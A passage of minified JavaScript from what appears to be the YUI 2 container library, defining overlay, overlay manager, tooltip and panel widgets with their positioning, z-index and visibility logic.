S=P[0];if(S){this.beforeShowEvent.fire();F.setStyle(this.element,"display","block");this.showEvent.fire();}else{this.beforeHideEvent.fire();F.setStyle(this.element,"display","none");this.hideEvent.fire();}},configMonitorResize:function(R,Q,S){var P=Q[0];if(P){this.initResizeMonitor();}else{G.textResizeEvent.unsubscribe(this.onDomResize,this,true);this.resizeMonitor=null;}},_addToParent:function(P,Q){if(!this.cfg.getProperty("appendtodocumentbody")&&P===document.body&&P.firstChild){P.insertBefore(Q,P.firstChild);}else{P.appendChild(Q);}},toString:function(){return"Module "+this.id;}};YAHOO.lang.augmentProto(G,YAHOO.util.EventProvider);}());(function(){YAHOO.widget.Overlay=function(L,K){YAHOO.widget.Overlay.superclass.constructor.call(this,L,K);};var F=YAHOO.lang,I=YAHOO.util.CustomEvent,E=YAHOO.widget.Module,J=YAHOO.util.Event,D=YAHOO.util.Dom,C=YAHOO.util.Config,B=YAHOO.widget.Overlay,G,A={"BEFORE_MOVE":"beforeMove","MOVE":"move"},H={"X":{key:"x",validator:F.isNumber,suppressEvent:true,supercedes:["iframe"]},"Y":{key:"y",validator:F.isNumber,suppressEvent:true,supercedes:["iframe"]},"XY":{key:"xy",suppressEvent:true,supercedes:["iframe"]},"CONTEXT":{key:"context",suppressEvent:true,supercedes:["iframe"]},"FIXED_CENTER":{key:"fixedcenter",value:false,validator:F.isBoolean,supercedes:["iframe","visible"]},"WIDTH":{key:"width",suppressEvent:true,supercedes:["context","fixedcenter","iframe"]},"HEIGHT":{key:"height",suppressEvent:true,supercedes:["context","fixedcenter","iframe"]},"ZINDEX":{key:"zindex",value:null},"CONSTRAIN_TO_VIEWPORT":{key:"constraintoviewport",value:false,validator:F.isBoolean,supercedes:["iframe","x","y","xy"]},"IFRAME":{key:"iframe",value:(YAHOO.env.ua.ie==6?true:false),validator:F.isBoolean,supercedes:["zindex"]}};B.IFRAME_SRC="javascript:false;";B.IFRAME_OFFSET=3;B.VIEWPORT_OFFSET=10;B.TOP_LEFT="tl";B.TOP_RIGHT="tr";B.BOTTOM_LEFT="bl";B.BOTTOM_RIGHT="br";B.CSS_OVERLAY="yui-overlay";B.windowScrollEvent=new I("windowScroll");B.windowResizeEvent=new I("windowResize");B.windowScrollHandler=function(K){if(YAHOO.env.ua.ie){if(!window.scrollEnd){window.scrollEnd=-1;}clearTimeout(window.scrollEnd);window.scrollEnd=setTimeout(function(){B.windowScrollEvent.fire();},1);}else{B.windowScrollEvent.fire();}};B.windowResizeHandler=function(K){if(YAHOO.env.ua.ie){if(!window.resizeEnd){window.resizeEnd=-1;}clearTimeout(window.resizeEnd);window.resizeEnd=setTimeout(function(){B.windowResizeEvent.fire();},100);}else{B.windowResizeEvent.fire();}};B._initialized=null;if(B._initialized===null){J.on(window,"scroll",B.windowScrollHandler);J.on(window,"resize",B.windowResizeHandler);B._initialized=true;}YAHOO.extend(B,E,{init:function(L,K){B.superclass.init.call(this,L);this.beforeInitEvent.fire(B);D.addClass(this.element,B.CSS_OVERLAY);if(K){this.cfg.applyConfig(K,true);}if(this.platform=="mac"&&YAHOO.env.ua.gecko){if(!C.alreadySubscribed(this.showEvent,this.showMacGeckoScrollbars,this)){this.showEvent.subscribe(this.showMacGeckoScrollbars,this,true);}if(!C.alreadySubscribed(this.hideEvent,this.hideMacGeckoScrollbars,this)){this.hideEvent.subscribe(this.hideMacGeckoScrollbars,this,true);}}this.initEvent.fire(B);},initEvents:function(){B.superclass.initEvents.call(this);var K=I.LIST;this.beforeMoveEvent=this.createEvent(A.BEFORE_MOVE);this.beforeMoveEvent.signature=K;this.moveEvent=this.createEvent(A.MOVE);this.moveEvent.signature=K;},initDefaultConfig:function(){B.superclass.initDefaultConfig.call(this);this.cfg.addProperty(H.X.key,{handler:this.configX,validator:H.X.validator,suppressEvent:H.X.suppressEvent,supercedes:H.X.supercedes});this.cfg.addProperty(H.Y.key,{handler:this.configY,validator:H.Y.validator,suppressEvent:H.Y.suppressEvent,supercedes:H.Y.supercedes});this.cfg.addProperty(H.XY.key,{handler:this.configXY,suppressEvent:H.XY.suppressEvent,supercedes:H.XY.supercedes});this.cfg.addProperty(H.CONTEXT.key,{handler:this.configContext,suppressEvent:H.CONTEXT.suppressEvent,supercedes:H.CONTEXT.supercedes});this.cfg.addProperty(H.FIXED_CENTER.key,{handler:this.configFixedCenter,value:H.FIXED_CENTER.value,validator:H.FIXED_CENTER.validator,supercedes:H.FIXED_CENTER.supercedes});this.cfg.addProperty(H.WIDTH.key,{handler:this.configWidth,suppressEvent:H.WIDTH.suppressEvent,supercedes:H.WIDTH.supercedes});this.cfg.addProperty(H.HEIGHT.key,{handler:this.configHeight,suppressEvent:H.HEIGHT.suppressEvent,supercedes:H.HEIGHT.supercedes});this.cfg.addProperty(H.ZINDEX.key,{handler:this.configzIndex,value:H.ZINDEX.value});this.cfg.addProperty(H.CONSTRAIN_TO_VIEWPORT.key,{handler:this.configConstrainToViewport,value:H.CONSTRAIN_TO_VIEWPORT.value,validator:H.CONSTRAIN_TO_VIEWPORT.validator,supercedes:H.CONSTRAIN_TO_VIEWPORT.supercedes});this.cfg.addProperty(H.IFRAME.key,{handler:this.configIframe,value:H.IFRAME.value,validator:H.IFRAME.validator,supercedes:H.IFRAME.supercedes});},moveTo:function(K,L){this.cfg.setProperty("xy",[K,L]);},hideMacGeckoScrollbars:function(){D.removeClass(this.element,"show-scrollbars");D.addClass(this.element,"hide-scrollbars");},showMacGeckoScrollbars:function(){D.removeClass(this.element,"hide-scrollbars");D.addClass(this.element,"show-scrollbars");},configVisible:function(N,K,T){var M=K[0],O=D.getStyle(this.element,"visibility"),U=this.cfg.getProperty("effect"),R=[],Q=(this.platform=="mac"&&YAHOO.env.ua.gecko),b=C.alreadySubscribed,S,L,a,Y,X,W,Z,V,P; -if(O=="inherit"){a=this.element.parentNode;while(a.nodeType!=9&&a.nodeType!=11){O=D.getStyle(a,"visibility");if(O!="inherit"){break;}a=a.parentNode;}if(O=="inherit"){O="visible";}}if(U){if(U instanceof Array){V=U.length;for(Y=0;Y<V;Y++){S=U[Y];R[R.length]=S.effect(this,S.duration);}}else{R[R.length]=U.effect(this,U.duration);}}if(M){if(Q){this.showMacGeckoScrollbars();}if(U){if(M){if(O!="visible"||O===""){this.beforeShowEvent.fire();P=R.length;for(X=0;X<P;X++){L=R[X];if(X===0&&!b(L.animateInCompleteEvent,this.showEvent.fire,this.showEvent)){L.animateInCompleteEvent.subscribe(this.showEvent.fire,this.showEvent,true);}L.animateIn();}}}}else{if(O!="visible"||O===""){this.beforeShowEvent.fire();D.setStyle(this.element,"visibility","visible");this.cfg.refireEvent("iframe");this.showEvent.fire();}}}else{if(Q){this.hideMacGeckoScrollbars();}if(U){if(O=="visible"){this.beforeHideEvent.fire();P=R.length;for(W=0;W<P;W++){Z=R[W];if(W===0&&!b(Z.animateOutCompleteEvent,this.hideEvent.fire,this.hideEvent)){Z.animateOutCompleteEvent.subscribe(this.hideEvent.fire,this.hideEvent,true);}Z.animateOut();}}else{if(O===""){D.setStyle(this.element,"visibility","hidden");}}}else{if(O=="visible"||O===""){this.beforeHideEvent.fire();D.setStyle(this.element,"visibility","hidden");this.hideEvent.fire();}}}},doCenterOnDOMEvent:function(){if(this.cfg.getProperty("visible")){this.center();}},configFixedCenter:function(O,M,P){var Q=M[0],L=C.alreadySubscribed,N=B.windowResizeEvent,K=B.windowScrollEvent;if(Q){this.center();if(!L(this.beforeShowEvent,this.center,this)){this.beforeShowEvent.subscribe(this.center);}if(!L(N,this.doCenterOnDOMEvent,this)){N.subscribe(this.doCenterOnDOMEvent,this,true);}if(!L(K,this.doCenterOnDOMEvent,this)){K.subscribe(this.doCenterOnDOMEvent,this,true);}}else{this.beforeShowEvent.unsubscribe(this.center);N.unsubscribe(this.doCenterOnDOMEvent,this);K.unsubscribe(this.doCenterOnDOMEvent,this);}},configHeight:function(N,L,O){var K=L[0],M=this.element;D.setStyle(M,"height",K);this.cfg.refireEvent("iframe");},configWidth:function(N,K,O){var M=K[0],L=this.element;D.setStyle(L,"width",M);this.cfg.refireEvent("iframe");},configzIndex:function(M,K,N){var O=K[0],L=this.element;if(!O){O=D.getStyle(L,"zIndex");if(!O||isNaN(O)){O=0;}}if(this.iframe||this.cfg.getProperty("iframe")===true){if(O<=0){O=1;}}D.setStyle(L,"zIndex",O);this.cfg.setProperty("zIndex",O,true);if(this.iframe){this.stackIframe();}},configXY:function(M,L,N){var P=L[0],K=P[0],O=P[1];this.cfg.setProperty("x",K);this.cfg.setProperty("y",O);this.beforeMoveEvent.fire([K,O]);K=this.cfg.getProperty("x");O=this.cfg.getProperty("y");this.cfg.refireEvent("iframe");this.moveEvent.fire([K,O]);},configX:function(M,L,N){var K=L[0],O=this.cfg.getProperty("y");this.cfg.setProperty("x",K,true);this.cfg.setProperty("y",O,true);this.beforeMoveEvent.fire([K,O]);K=this.cfg.getProperty("x");O=this.cfg.getProperty("y");D.setX(this.element,K,true);this.cfg.setProperty("xy",[K,O],true);this.cfg.refireEvent("iframe");this.moveEvent.fire([K,O]);},configY:function(M,L,N){var K=this.cfg.getProperty("x"),O=L[0];this.cfg.setProperty("x",K,true);this.cfg.setProperty("y",O,true);this.beforeMoveEvent.fire([K,O]);K=this.cfg.getProperty("x");O=this.cfg.getProperty("y");D.setY(this.element,O,true);this.cfg.setProperty("xy",[K,O],true);this.cfg.refireEvent("iframe");this.moveEvent.fire([K,O]);},showIframe:function(){var L=this.iframe,K;if(L){K=this.element.parentNode;if(K!=L.parentNode){this._addToParent(K,L);}L.style.display="block";}},hideIframe:function(){if(this.iframe){this.iframe.style.display="none";}},syncIframe:function(){var K=this.iframe,M=this.element,O=B.IFRAME_OFFSET,L=(O*2),N;if(K){K.style.width=(M.offsetWidth+L+"px");K.style.height=(M.offsetHeight+L+"px");N=this.cfg.getProperty("xy");if(!F.isArray(N)||(isNaN(N[0])||isNaN(N[1]))){this.syncPosition();N=this.cfg.getProperty("xy");}D.setXY(K,[(N[0]-O),(N[1]-O)]);}},stackIframe:function(){if(this.iframe){var K=D.getStyle(this.element,"zIndex");if(!YAHOO.lang.isUndefined(K)&&!isNaN(K)){D.setStyle(this.iframe,"zIndex",(K-1));}}},configIframe:function(N,M,O){var K=M[0];function P(){var R=this.iframe,S=this.element,T;if(!R){if(!G){G=document.createElement("iframe");if(this.isSecure){G.src=B.IFRAME_SRC;}if(YAHOO.env.ua.ie){G.style.filter="alpha(opacity=0)";G.frameBorder=0;}else{G.style.opacity="0";}G.style.position="absolute";G.style.border="none";G.style.margin="0";G.style.padding="0";G.style.display="none";}R=G.cloneNode(false);T=S.parentNode;var Q=T||document.body;this._addToParent(Q,R);this.iframe=R;}this.showIframe();this.syncIframe();this.stackIframe();if(!this._hasIframeEventListeners){this.showEvent.subscribe(this.showIframe);this.hideEvent.subscribe(this.hideIframe);this.changeContentEvent.subscribe(this.syncIframe);this._hasIframeEventListeners=true;}}function L(){P.call(this);this.beforeShowEvent.unsubscribe(L);this._iframeDeferred=false;}if(K){if(this.cfg.getProperty("visible")){P.call(this);}else{if(!this._iframeDeferred){this.beforeShowEvent.subscribe(L);this._iframeDeferred=true;}}}else{this.hideIframe();if(this._hasIframeEventListeners){this.showEvent.unsubscribe(this.showIframe);this.hideEvent.unsubscribe(this.hideIframe);this.changeContentEvent.unsubscribe(this.syncIframe);this._hasIframeEventListeners=false;}}},_primeXYFromDOM:function(){if(YAHOO.lang.isUndefined(this.cfg.getProperty("xy"))){this.syncPosition();this.cfg.refireEvent("xy");this.beforeShowEvent.unsubscribe(this._primeXYFromDOM);}},configConstrainToViewport:function(L,K,M){var N=K[0];if(N){if(!C.alreadySubscribed(this.beforeMoveEvent,this.enforceConstraints,this)){this.beforeMoveEvent.subscribe(this.enforceConstraints,this,true);}if(!C.alreadySubscribed(this.beforeShowEvent,this._primeXYFromDOM)){this.beforeShowEvent.subscribe(this._primeXYFromDOM);}}else{this.beforeShowEvent.unsubscribe(this._primeXYFromDOM);this.beforeMoveEvent.unsubscribe(this.enforceConstraints,this);}},configContext:function(M,L,O){var Q=L[0],N,P,K;if(Q){N=Q[0];P=Q[1]; -K=Q[2];if(N){if(typeof N=="string"){this.cfg.setProperty("context",[document.getElementById(N),P,K],true);}if(P&&K){this.align(P,K);}}}},align:function(L,K){var Q=this.cfg.getProperty("context"),P=this,O,N,R;function M(S,T){switch(L){case B.TOP_LEFT:P.moveTo(T,S);break;case B.TOP_RIGHT:P.moveTo((T-N.offsetWidth),S);break;case B.BOTTOM_LEFT:P.moveTo(T,(S-N.offsetHeight));break;case B.BOTTOM_RIGHT:P.moveTo((T-N.offsetWidth),(S-N.offsetHeight));break;}}if(Q){O=Q[0];N=this.element;P=this;if(!L){L=Q[1];}if(!K){K=Q[2];}if(N&&O){R=D.getRegion(O);switch(K){case B.TOP_LEFT:M(R.top,R.left);break;case B.TOP_RIGHT:M(R.top,R.right);break;case B.BOTTOM_LEFT:M(R.bottom,R.left);break;case B.BOTTOM_RIGHT:M(R.bottom,R.right);break;}}}},enforceConstraints:function(L,K,M){var O=K[0];var N=this.getConstrainedXY(O[0],O[1]);this.cfg.setProperty("x",N[0],true);this.cfg.setProperty("y",N[1],true);this.cfg.setProperty("xy",N,true);},getConstrainedXY:function(V,T){var N=B.VIEWPORT_OFFSET,U=D.getViewportWidth(),Q=D.getViewportHeight(),M=this.element.offsetHeight,S=this.element.offsetWidth,Y=D.getDocumentScrollLeft(),W=D.getDocumentScrollTop();var P=V;var L=T;if(S+N<U){var R=Y+N;var X=Y+U-S-N;if(V<R){P=R;}else{if(V>X){P=X;}}}else{P=N+Y;}if(M+N<Q){var O=W+N;var K=W+Q-M-N;if(T<O){L=O;}else{if(T>K){L=K;}}}else{L=N+W;}return[P,L];},center:function(){var N=B.VIEWPORT_OFFSET,O=this.element.offsetWidth,M=this.element.offsetHeight,L=D.getViewportWidth(),P=D.getViewportHeight(),K,Q;if(O<L){K=(L/2)-(O/2)+D.getDocumentScrollLeft();}else{K=N+D.getDocumentScrollLeft();}if(M<P){Q=(P/2)-(M/2)+D.getDocumentScrollTop();}else{Q=N+D.getDocumentScrollTop();}this.cfg.setProperty("xy",[parseInt(K,10),parseInt(Q,10)]);this.cfg.refireEvent("iframe");},syncPosition:function(){var K=D.getXY(this.element);this.cfg.setProperty("x",K[0],true);this.cfg.setProperty("y",K[1],true);this.cfg.setProperty("xy",K,true);},onDomResize:function(M,L){var K=this;B.superclass.onDomResize.call(this,M,L);setTimeout(function(){K.syncPosition();K.cfg.refireEvent("iframe");K.cfg.refireEvent("context");},0);},bringToTop:function(){var O=[],N=this.element;function R(V,U){var X=D.getStyle(V,"zIndex"),W=D.getStyle(U,"zIndex"),T=(!X||isNaN(X))?0:parseInt(X,10),S=(!W||isNaN(W))?0:parseInt(W,10);if(T>S){return -1;}else{if(T<S){return 1;}else{return 0;}}}function M(U){var S=D.hasClass(U,B.CSS_OVERLAY),T=YAHOO.widget.Panel;if(S&&!D.isAncestor(N,S)){if(T&&D.hasClass(U,T.CSS_PANEL)){O[O.length]=U.parentNode;}else{O[O.length]=U;}}}D.getElementsBy(M,"DIV",document.body);O.sort(R);var K=O[0],Q;if(K){Q=D.getStyle(K,"zIndex");if(!isNaN(Q)){var P=false;if(K!=N){P=true;}else{if(O.length>1){var L=D.getStyle(O[1],"zIndex");if(!isNaN(L)&&(Q==L)){P=true;}}}if(P){this.cfg.setProperty("zindex",(parseInt(Q,10)+2));}}}},destroy:function(){if(this.iframe){this.iframe.parentNode.removeChild(this.iframe);}this.iframe=null;B.windowResizeEvent.unsubscribe(this.doCenterOnDOMEvent,this);B.windowScrollEvent.unsubscribe(this.doCenterOnDOMEvent,this);B.superclass.destroy.call(this);},toString:function(){return"Overlay "+this.id;}});}());(function(){YAHOO.widget.OverlayManager=function(G){this.init(G);};var D=YAHOO.widget.Overlay,C=YAHOO.util.Event,E=YAHOO.util.Dom,B=YAHOO.util.Config,F=YAHOO.util.CustomEvent,A=YAHOO.widget.OverlayManager;A.CSS_FOCUSED="focused";A.prototype={constructor:A,overlays:null,initDefaultConfig:function(){this.cfg.addProperty("overlays",{suppressEvent:true});this.cfg.addProperty("focusevent",{value:"mousedown"});},init:function(I){this.cfg=new B(this);this.initDefaultConfig();if(I){this.cfg.applyConfig(I,true);}this.cfg.fireQueue();var H=null;this.getActive=function(){return H;};this.focus=function(J){var K=this.find(J);if(K){if(H!=K){if(H){H.blur();}this.bringToTop(K);H=K;E.addClass(H.element,A.CSS_FOCUSED);K.focusEvent.fire();}}};this.remove=function(K){var M=this.find(K),J;if(M){if(H==M){H=null;}var L=(M.element===null&&M.cfg===null)?true:false;if(!L){J=E.getStyle(M.element,"zIndex");M.cfg.setProperty("zIndex",-1000,true);}this.overlays.sort(this.compareZIndexDesc);this.overlays=this.overlays.slice(0,(this.overlays.length-1));M.hideEvent.unsubscribe(M.blur);M.destroyEvent.unsubscribe(this._onOverlayDestroy,M);if(!L){C.removeListener(M.element,this.cfg.getProperty("focusevent"),this._onOverlayElementFocus);M.cfg.setProperty("zIndex",J,true);M.cfg.setProperty("manager",null);}M.focusEvent.unsubscribeAll();M.blurEvent.unsubscribeAll();M.focusEvent=null;M.blurEvent=null;M.focus=null;M.blur=null;}};this.blurAll=function(){var K=this.overlays.length,J;if(K>0){J=K-1;do{this.overlays[J].blur();}while(J--);}};this._onOverlayBlur=function(K,J){H=null;};var G=this.cfg.getProperty("overlays");if(!this.overlays){this.overlays=[];}if(G){this.register(G);this.overlays.sort(this.compareZIndexDesc);}},_onOverlayElementFocus:function(I){var G=C.getTarget(I),H=this.close;if(H&&(G==H||E.isAncestor(H,G))){this.blur();}else{this.focus();}},_onOverlayDestroy:function(H,G,I){this.remove(I);},register:function(G){var K=this,L,I,H,J;if(G instanceof D){G.cfg.addProperty("manager",{value:this});G.focusEvent=G.createEvent("focus");G.focusEvent.signature=F.LIST;G.blurEvent=G.createEvent("blur");G.blurEvent.signature=F.LIST;G.focus=function(){K.focus(this);};G.blur=function(){if(K.getActive()==this){E.removeClass(this.element,A.CSS_FOCUSED);this.blurEvent.fire();}};G.blurEvent.subscribe(K._onOverlayBlur);G.hideEvent.subscribe(G.blur);G.destroyEvent.subscribe(this._onOverlayDestroy,G,this);C.on(G.element,this.cfg.getProperty("focusevent"),this._onOverlayElementFocus,null,G);L=E.getStyle(G.element,"zIndex");if(!isNaN(L)){G.cfg.setProperty("zIndex",parseInt(L,10));}else{G.cfg.setProperty("zIndex",0);}this.overlays.push(G);this.bringToTop(G);return true;}else{if(G instanceof Array){I=0;J=G.length;for(H=0;H<J;H++){if(this.register(G[H])){I++;}}if(I>0){return true;}}else{return false;}}},bringToTop:function(M){var I=this.find(M),L,G,J;if(I){J=this.overlays;J.sort(this.compareZIndexDesc);G=J[0];if(G){L=E.getStyle(G.element,"zIndex"); -if(!isNaN(L)){var K=false;if(G!==I){K=true;}else{if(J.length>1){var H=E.getStyle(J[1].element,"zIndex");if(!isNaN(H)&&(L==H)){K=true;}}}if(K){I.cfg.setProperty("zindex",(parseInt(L,10)+2));}}J.sort(this.compareZIndexDesc);}}},find:function(G){var I=this.overlays,J=I.length,H;if(J>0){H=J-1;if(G instanceof D){do{if(I[H]==G){return I[H];}}while(H--);}else{if(typeof G=="string"){do{if(I[H].id==G){return I[H];}}while(H--);}}return null;}},compareZIndexDesc:function(J,I){var H=(J.cfg)?J.cfg.getProperty("zIndex"):null,G=(I.cfg)?I.cfg.getProperty("zIndex"):null;if(H===null&&G===null){return 0;}else{if(H===null){return 1;}else{if(G===null){return -1;}else{if(H>G){return -1;}else{if(H<G){return 1;}else{return 0;}}}}}},showAll:function(){var H=this.overlays,I=H.length,G;if(I>0){G=I-1;do{H[G].show();}while(G--);}},hideAll:function(){var H=this.overlays,I=H.length,G;if(I>0){G=I-1;do{H[G].hide();}while(G--);}},toString:function(){return"OverlayManager";}};}());(function(){YAHOO.widget.Tooltip=function(N,M){YAHOO.widget.Tooltip.superclass.constructor.call(this,N,M);};var E=YAHOO.lang,L=YAHOO.util.Event,K=YAHOO.util.CustomEvent,C=YAHOO.util.Dom,G=YAHOO.widget.Tooltip,F,H={"PREVENT_OVERLAP":{key:"preventoverlap",value:true,validator:E.isBoolean,supercedes:["x","y","xy"]},"SHOW_DELAY":{key:"showdelay",value:200,validator:E.isNumber},"AUTO_DISMISS_DELAY":{key:"autodismissdelay",value:5000,validator:E.isNumber},"HIDE_DELAY":{key:"hidedelay",value:250,validator:E.isNumber},"TEXT":{key:"text",suppressEvent:true},"CONTAINER":{key:"container"},"DISABLED":{key:"disabled",value:false,suppressEvent:true}},A={"CONTEXT_MOUSE_OVER":"contextMouseOver","CONTEXT_MOUSE_OUT":"contextMouseOut","CONTEXT_TRIGGER":"contextTrigger"};G.CSS_TOOLTIP="yui-tt";function I(N,M,O){var R=O[0],P=O[1],Q=this.cfg,S=Q.getProperty("width");if(S==P){Q.setProperty("width",R);}this.unsubscribe("hide",this._onHide,O);}function D(N,M){var O=document.body,S=this.cfg,R=S.getProperty("width"),P,Q;if((!R||R=="auto")&&(S.getProperty("container")!=O||S.getProperty("x")>=C.getViewportWidth()||S.getProperty("y")>=C.getViewportHeight())){Q=this.element.cloneNode(true);Q.style.visibility="hidden";Q.style.top="0px";Q.style.left="0px";O.appendChild(Q);P=(Q.offsetWidth+"px");O.removeChild(Q);Q=null;S.setProperty("width",P);S.refireEvent("xy");this.subscribe("hide",I,[(R||""),P]);}}function B(N,M,O){this.render(O);}function J(){L.onDOMReady(B,this.cfg.getProperty("container"),this);}YAHOO.extend(G,YAHOO.widget.Overlay,{init:function(N,M){G.superclass.init.call(this,N);this.beforeInitEvent.fire(G);C.addClass(this.element,G.CSS_TOOLTIP);if(M){this.cfg.applyConfig(M,true);}this.cfg.queueProperty("visible",false);this.cfg.queueProperty("constraintoviewport",true);this.setBody("");this.subscribe("beforeShow",D);this.subscribe("init",J);this.subscribe("render",this.onRender);this.initEvent.fire(G);},initEvents:function(){G.superclass.initEvents.call(this);var M=K.LIST;this.contextMouseOverEvent=this.createEvent(A.CONTEXT_MOUSE_OVER);this.contextMouseOverEvent.signature=M;this.contextMouseOutEvent=this.createEvent(A.CONTEXT_MOUSE_OUT);this.contextMouseOutEvent.signature=M;this.contextTriggerEvent=this.createEvent(A.CONTEXT_TRIGGER);this.contextTriggerEvent.signature=M;},initDefaultConfig:function(){G.superclass.initDefaultConfig.call(this);this.cfg.addProperty(H.PREVENT_OVERLAP.key,{value:H.PREVENT_OVERLAP.value,validator:H.PREVENT_OVERLAP.validator,supercedes:H.PREVENT_OVERLAP.supercedes});this.cfg.addProperty(H.SHOW_DELAY.key,{handler:this.configShowDelay,value:200,validator:H.SHOW_DELAY.validator});this.cfg.addProperty(H.AUTO_DISMISS_DELAY.key,{handler:this.configAutoDismissDelay,value:H.AUTO_DISMISS_DELAY.value,validator:H.AUTO_DISMISS_DELAY.validator});this.cfg.addProperty(H.HIDE_DELAY.key,{handler:this.configHideDelay,value:H.HIDE_DELAY.value,validator:H.HIDE_DELAY.validator});this.cfg.addProperty(H.TEXT.key,{handler:this.configText,suppressEvent:H.TEXT.suppressEvent});this.cfg.addProperty(H.CONTAINER.key,{handler:this.configContainer,value:document.body});this.cfg.addProperty(H.DISABLED.key,{handler:this.configContainer,value:H.DISABLED.value,supressEvent:H.DISABLED.suppressEvent});},configText:function(N,M,O){var P=M[0];if(P){this.setBody(P);}},configContainer:function(O,N,P){var M=N[0];if(typeof M=="string"){this.cfg.setProperty("container",document.getElementById(M),true);}},_removeEventListeners:function(){var P=this._context,M,O,N;if(P){M=P.length;if(M>0){N=M-1;do{O=P[N];L.removeListener(O,"mouseover",this.onContextMouseOver);L.removeListener(O,"mousemove",this.onContextMouseMove);L.removeListener(O,"mouseout",this.onContextMouseOut);}while(N--);}}},configContext:function(R,N,S){var Q=N[0],T,M,P,O;if(Q){if(!(Q instanceof Array)){if(typeof Q=="string"){this.cfg.setProperty("context",[document.getElementById(Q)],true);}else{this.cfg.setProperty("context",[Q],true);}Q=this.cfg.getProperty("context");}this._removeEventListeners();this._context=Q;T=this._context;if(T){M=T.length;if(M>0){O=M-1;do{P=T[O];L.on(P,"mouseover",this.onContextMouseOver,this);L.on(P,"mousemove",this.onContextMouseMove,this);L.on(P,"mouseout",this.onContextMouseOut,this);}while(O--);}}}},onContextMouseMove:function(N,M){M.pageX=L.getPageX(N);M.pageY=L.getPageY(N);},onContextMouseOver:function(O,N){var M=this;if(M.title){N._tempTitle=M.title;M.title="";}if(N.fireEvent("contextMouseOver",M,O)!==false&&!N.cfg.getProperty("disabled")){if(N.hideProcId){clearTimeout(N.hideProcId);N.hideProcId=null;}L.on(M,"mousemove",N.onContextMouseMove,N);N.showProcId=N.doShow(O,M);}},onContextMouseOut:function(O,N){var M=this;if(N._tempTitle){M.title=N._tempTitle;N._tempTitle=null;}if(N.showProcId){clearTimeout(N.showProcId);N.showProcId=null;}if(N.hideProcId){clearTimeout(N.hideProcId);N.hideProcId=null;}N.fireEvent("contextMouseOut",M,O);N.hideProcId=setTimeout(function(){N.hide();},N.cfg.getProperty("hidedelay"));},doShow:function(O,M){var P=25,N=this;if(YAHOO.env.ua.opera&&M.tagName&&M.tagName.toUpperCase()=="A"){P+=12; -}return setTimeout(function(){var Q=N.cfg.getProperty("text");if(N._tempTitle&&(Q===""||YAHOO.lang.isUndefined(Q)||YAHOO.lang.isNull(Q))){N.setBody(N._tempTitle);}else{N.cfg.refireEvent("text");}N.moveTo(N.pageX,N.pageY+P);if(N.cfg.getProperty("preventoverlap")){N.preventOverlap(N.pageX,N.pageY);}L.removeListener(M,"mousemove",N.onContextMouseMove);N.contextTriggerEvent.fire(M);N.show();N.hideProcId=N.doHide();},this.cfg.getProperty("showdelay"));},doHide:function(){var M=this;return setTimeout(function(){M.hide();},this.cfg.getProperty("autodismissdelay"));},preventOverlap:function(Q,P){var M=this.element.offsetHeight,O=new YAHOO.util.Point(Q,P),N=C.getRegion(this.element);N.top-=5;N.left-=5;N.right+=5;N.bottom+=5;if(N.contains(O)){this.cfg.setProperty("y",(P-M-5));}},onRender:function(Q,P){function R(){var U=this.element,T=this._shadow;if(T){T.style.width=(U.offsetWidth+6)+"px";T.style.height=(U.offsetHeight+1)+"px";}}function N(){C.addClass(this._shadow,"yui-tt-shadow-visible");}function M(){C.removeClass(this._shadow,"yui-tt-shadow-visible");}function S(){var V=this._shadow,U,T,X,W;if(!V){U=this.element;T=YAHOO.widget.Module;X=YAHOO.env.ua.ie;W=this;if(!F){F=document.createElement("div");F.className="yui-tt-shadow";}V=F.cloneNode(false);U.appendChild(V);this._shadow=V;N.call(this);this.subscribe("beforeShow",N);this.subscribe("beforeHide",M);if(X==6||(X==7&&document.compatMode=="BackCompat")){window.setTimeout(function(){R.call(W);},0);this.cfg.subscribeToConfigEvent("width",R);this.cfg.subscribeToConfigEvent("height",R);this.subscribe("changeContent",R);T.textResizeEvent.subscribe(R,this,true);this.subscribe("destroy",function(){T.textResizeEvent.unsubscribe(R,this);});}}}function O(){S.call(this);this.unsubscribe("beforeShow",O);}if(this.cfg.getProperty("visible")){S.call(this);}else{this.subscribe("beforeShow",O);}},destroy:function(){this._removeEventListeners();G.superclass.destroy.call(this);},toString:function(){return"Tooltip "+this.id;}});}());(function(){YAHOO.widget.Panel=function(R,Q){YAHOO.widget.Panel.superclass.constructor.call(this,R,Q);};var I=YAHOO.lang,E=YAHOO.util.DD,F=YAHOO.util.Dom,P=YAHOO.util.Event,B=YAHOO.widget.Overlay,O=YAHOO.util.CustomEvent,C=YAHOO.util.Config,N=YAHOO.widget.Panel,H,L,D,A={"SHOW_MASK":"showMask","HIDE_MASK":"hideMask","DRAG":"drag"},J={"CLOSE":{key:"close",value:true,validator:I.isBoolean,supercedes:["visible"]},"DRAGGABLE":{key:"draggable",value:(E?true:false),validator:I.isBoolean,supercedes:["visible"]},"DRAG_ONLY":{key:"dragonly",value:false,validator:I.isBoolean,supercedes:["draggable"]},"UNDERLAY":{key:"underlay",value:"shadow",supercedes:["visible"]},"MODAL":{key:"modal",value:false,validator:I.isBoolean,supercedes:["visible","zindex"]},"KEY_LISTENERS":{key:"keylisteners",suppressEvent:true,supercedes:["visible"]}};N.CSS_PANEL="yui-panel";N.CSS_PANEL_CONTAINER="yui-panel-container";N.FOCUSABLE=["a","button","select","textarea","input"];function M(R,Q){if(!this.header&&this.cfg.getProperty("draggable")){this.setHeader(" ");}}function K(R,Q,S){var V=S[0],T=S[1],U=this.cfg,W=U.getProperty("width");if(W==T){U.setProperty("width",V);}this.unsubscribe("hide",K,S);}function G(R,Q){var V=YAHOO.env.ua.ie,U,T,S;if(V==6||(V==7&&document.compatMode=="BackCompat")){U=this.cfg;T=U.getProperty("width");if(!T||T=="auto"){S=(this.element.offsetWidth+"px");U.setProperty("width",S);this.subscribe("hide",K,[(T||""),S]);}}}YAHOO.extend(N,B,{init:function(R,Q){N.superclass.init.call(this,R);this.beforeInitEvent.fire(N);F.addClass(this.element,N.CSS_PANEL);this.buildWrapper();if(Q){this.cfg.applyConfig(Q,true);}this.subscribe("showMask",this._addFocusHandlers);this.subscribe("hideMask",this._removeFocusHandlers);this.subscribe("beforeRender",M);this.initEvent.fire(N);},_onElementFocus:function(Q){this.blur();},_addFocusHandlers:function(Y,S){var V=this,Z="focus",U="hidden";function X(a){if(a.type!==U&&!F.isAncestor(V.element,a)){P.on(a,Z,V._onElementFocus);return true;}return false;}var W=N.FOCUSABLE,Q=W.length,T=[];for(var R=0;R<Q;R++){T=T.concat(F.getElementsBy(X,W[R]));}this.focusableElements=T;},_removeFocusHandlers:function(T,S){var V=this.focusableElements,Q=V.length,R="focus";if(V){for(var 